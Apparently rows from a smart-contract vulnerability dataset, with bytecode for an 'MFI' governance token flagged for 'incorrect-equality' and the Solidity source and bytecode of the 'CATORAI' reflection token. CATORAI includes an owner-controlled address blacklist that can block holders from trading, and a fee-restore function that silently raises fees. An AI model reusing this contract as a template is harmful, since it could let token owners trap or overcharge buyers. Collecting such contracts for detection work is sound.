0506000604051610fa190612731565b6040518091039020888888604051602001610fbf9493929190612797565b60405160208183030381529060405280519060200120905060008282604051602001610fec9291906126e5565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516110299493929190612821565b6020604051602081039080840390855afa15801561104b573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be906128ca565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114d9061290a565b60405180910390fd5b87421115611199576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111909061294a565b60405180910390fd5b6111a3818b61177b565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b60405161126790612731565b604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c010000000000000000000000008310829061131f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113169190612888565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061138d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113849190612888565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561140a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611401906128ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561147a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114719061292a565b60405180910390fd5b6114f4600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060358152602001612bd060359139611329565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506115db600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16826040518060600160405280602f8152602001612c83602f9139611948565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116a591906129e4565b60405180910390a3611776600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119be565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119358284836119be565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a99190612888565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a0857506000816bffffffffffffffffffffffff16115b15611cb457600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b60576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611aab576000611b27565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b4e8285604051806060016040528060278152602001612cb260279139611329565b9050611b5c86848484611cb9565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cb3576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611bfe576000611c7a565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611ca18285604051806060016040528060268152602001612c5d60269139611948565b9050611caf85848484611cb9565b5050505b5b505050565b6000611cdd43604051806060016040528060338152602001612c2a60339139611fac565b905060008463ffffffff16118015611d7257508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e0d5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f55565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f9d929190612a1a565b60405180910390a25050505050565b600064010000000083108290611ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fef9190612888565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061203f81612b5c565b92915050565b60008135905061205481612b73565b92915050565b60008135905061206981612b8a565b92915050565b60008135905061207e81612ba1565b92915050565b60008135905061209381612bb8565b92915050565b6000602082840312156120ab57600080fd5b60006120b984828501612030565b91505092915050565b600080604083850312156120d557600080fd5b60006120e385828601612030565b92505060206120f485828601612030565b9150509250929050565b60008060006060848603121561211357600080fd5b600061212186828701612030565b935050602061213286828701612030565b92505060406121438682870161205a565b9150509250925092565b6000806040838503121561216057600080fd5b600061216e85828601612030565b925050602061217f8582860161205a565b9150509250929050565b60008060008060008060c087890312156121a257600080fd5b60006121b089828a01612030565b96505060206121c189828a0161205a565b95505060406121d289828a0161205a565b94505060606121e389828a01612084565b93505060806121f489828a01612045565b92505060a061220589828a01612045565b9150509295509295509295565b6000806040838503121561222557600080fd5b600061223385828601612030565b92505060206122448582860161206f565b9150509250929050565b61225781612a75565b82525050565b61226681612a87565b82525050565b61227581612a93565b82525050565b61228c61228782612a93565b612b41565b82525050565b600061229d82612a4e565b6122a78185612a59565b93506122b7818560208601612b0e565b6122c081612b4b565b840191505092915050565b60006122d682612a43565b6122e08185612a59565b93506122f0818560208601612b0e565b6122f981612b4b565b840191505092915050565b6000612311602683612a59565b91507f4d46493a3a6765745072696f72566f7465733a206e6f7420796574206465746560008301527f726d696e656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612377600283612a6a565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006123b7602583612a59565b91507f4d46493a3a64656c656761746542795369673a20696e76616c6964207369676e60008301527f61747572650000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061241d603b83612a59565b91507f4d46493a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160008301527f6e736665722066726f6d20746865207a65726f206164647265737300000000006020830152604082019050919050565b6000612483602183612a59565b91507f4d46493a3a64656c656761746542795369673a20696e76616c6964206e6f6e6360008301527f65000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124e9604383612a6a565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b6000612575603983612a59565b91507f4d46493a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160008301527f6e7366657220746f20746865207a65726f2061646472657373000000000000006020830152604082019050919050565b60006125db603a83612a6a565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b6000612641602583612a59565b91507f4d46493a3a64656c656761746542795369673a207369676e617475726520657860008301527f70697265640000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6126a381612abd565b82525050565b6126b281612ac7565b82525050565b6126c181612ad7565b82525050565b6126d081612afc565b82525050565b6126df81612ae4565b82525050565b60006126f08261236a565b91506126fc828561227b565b60208201915061270c828461227b565b6020820191508190509392505050565b6000612727826124dc565b9150819050919050565b600061273c826125ce565b9150819050919050565b600060208201905061275b600083018461224e565b92915050565b6000602082019050612776600083018461225d565b92915050565b6000602082019050612791600083018461226c565b92915050565b60006080820190506127ac600083018761226c565b6127b9602083018661224e565b6127c6604083018561269a565b6127d3606083018461269a565b95945050505050565b60006080820190506127f1600083018761226c565b6127fe602083018661226c565b61280b604083018561269a565b612818606083018461224e565b95945050505050565b6000608082019050612836600083018761226c565b61284360208301866126b8565b612850604083018561226c565b61285d606083018461226c565b95945050505050565b6000602082019050818103600083015261288081846122cb565b905092915050565b600060208201905081810360008301526128a28184612292565b905092915050565b600060208201905081810360008301526128c381612304565b9050919050565b600060208201905081810360008301526128e3816123aa565b9050919050565b6000602082019050818103600083015261290381612410565b9050919050565b6000602082019050818103600083015261292381612476565b9050919050565b6000602082019050818103600083015261294381612568565b9050919050565b6000602082019050818103600083015261296381612634565b9050919050565b600060208201905061297f600083018461269a565b92915050565b600060208201905061299a60008301846126a9565b92915050565b60006040820190506129b560008301856126a9565b6129c260208301846126d6565b9392505050565b60006020820190506129de60008301846126b8565b92915050565b60006020820190506129f960008301846126c7565b92915050565b6000602082019050612a1460008301846126d6565b92915050565b6000604082019050612a2f60008301856126c7565b612a3c60208301846126c7565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612a8082612a9d565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000612b0782612ae4565b9050919050565b60005b83811015612b2c578082015181840152602081019050612b11565b83811115612b3b576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612b6581612a75565b8114612b7057600080fd5b50565b612b7c81612a93565b8114612b8757600080fd5b50565b612b9381612abd565b8114612b9e57600080fd5b50565b612baa81612ac7565b8114612bb557600080fd5b50565b612bc181612ad7565b8114612bcc57600080fd5b5056fe4d46493a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654d46493a3a7472616e736665723a20616d6f756e74206578636565647320393620626974734d46493a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734d46493a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77734d46493a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734d46493a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77734d46493a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63654d46493a3a617070726f76653a20616d6f756e7420657863656564732039362062697473a26469706673582212207640531153e31e779a71ed28e162b0e25736a02199f13db9e4a0888f2afade8464736f6c63430006000033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
1,372
0xba8fd1b5f842ff834e2e4618504dd48ec5a1377a
// Telegram: https://t.me/catorai // Website: https://catorai.xyz/ // Twitter: https://twitter.com/catoraitoken // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CATORAI is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "CATORAI"; string private constant _symbol = "CATORAI"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _teamFee = 9; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 40000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a91906129c1565b610420565b005b34801561014d57600080fd5b5061015661054a565b6040516101639190612e7a565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612981565b610587565b6040516101a09190612e5f565b60405180910390f35b3480156101b557600080fd5b506101be6105a5565b6040516101cb919061301c565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f6919061292e565b6105b6565b6040516102089190612e5f565b60405180910390f35b34801561021d57600080fd5b5061022661068f565b005b34801561023457600080fd5b5061023d610bec565b60405161024a9190613091565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a0a565b610bf5565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612894565b610ca7565b005b3480156102b157600080fd5b506102ba610d97565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612894565b610e09565b6040516102f0919061301c565b60405180910390f35b34801561030557600080fd5b5061030e610e5a565b005b34801561031c57600080fd5b50610325610fad565b6040516103329190612d91565b60405180910390f35b34801561034757600080fd5b50610350610fd6565b60405161035d9190612e7a565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612981565b611013565b60405161039a9190612e5f565b60405180910390f35b3480156103af57600080fd5b506103b8611031565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612a64565b6110ab565b005b3480156103ef57600080fd5b5061040a600480360381019061040591906128ee565b6111f4565b604051610417919061301c565b60405180910390f35b61042861127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612f7c565b60405180910390fd5b60005b8151811015610546576001600a60008484815181106104da576104d96133d9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061053e90613332565b9150506104b8565b5050565b60606040518060400160405280600781526020017f4341544f52414900000000000000000000000000000000000000000000000000815250905090565b600061059b61059461127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105c384848461144e565b610684846105cf61127b565b61067f8560405180606001604052806028815260200161379860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061063561127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61069761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610724576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071b90612f7c565b60405180910390fd5b600f60149054906101000a900460ff1615610774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076b90612ebc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061080430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561084a57600080fd5b505afa15801561085e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088291906128c1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108e457600080fd5b505afa1580156108f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091c91906128c1565b6040518363ffffffff1660e01b8152600401610939929190612dac565b602060405180830381600087803b15801561095357600080fd5b505af1158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b91906128c1565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1430610e09565b600080610a1f610fad565b426040518863ffffffff1660e01b8152600401610a4196959493929190612dfe565b6060604051808303818588803b158015610a5a57600080fd5b505af1158015610a6e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a939190612a91565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068022b1c8c1227a000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b96929190612dd5565b602060405180830381600087803b158015610bb057600080fd5b505af1158015610bc4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be89190612a37565b5050565b60006009905090565b610bfd61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8190612f7c565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610caf61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff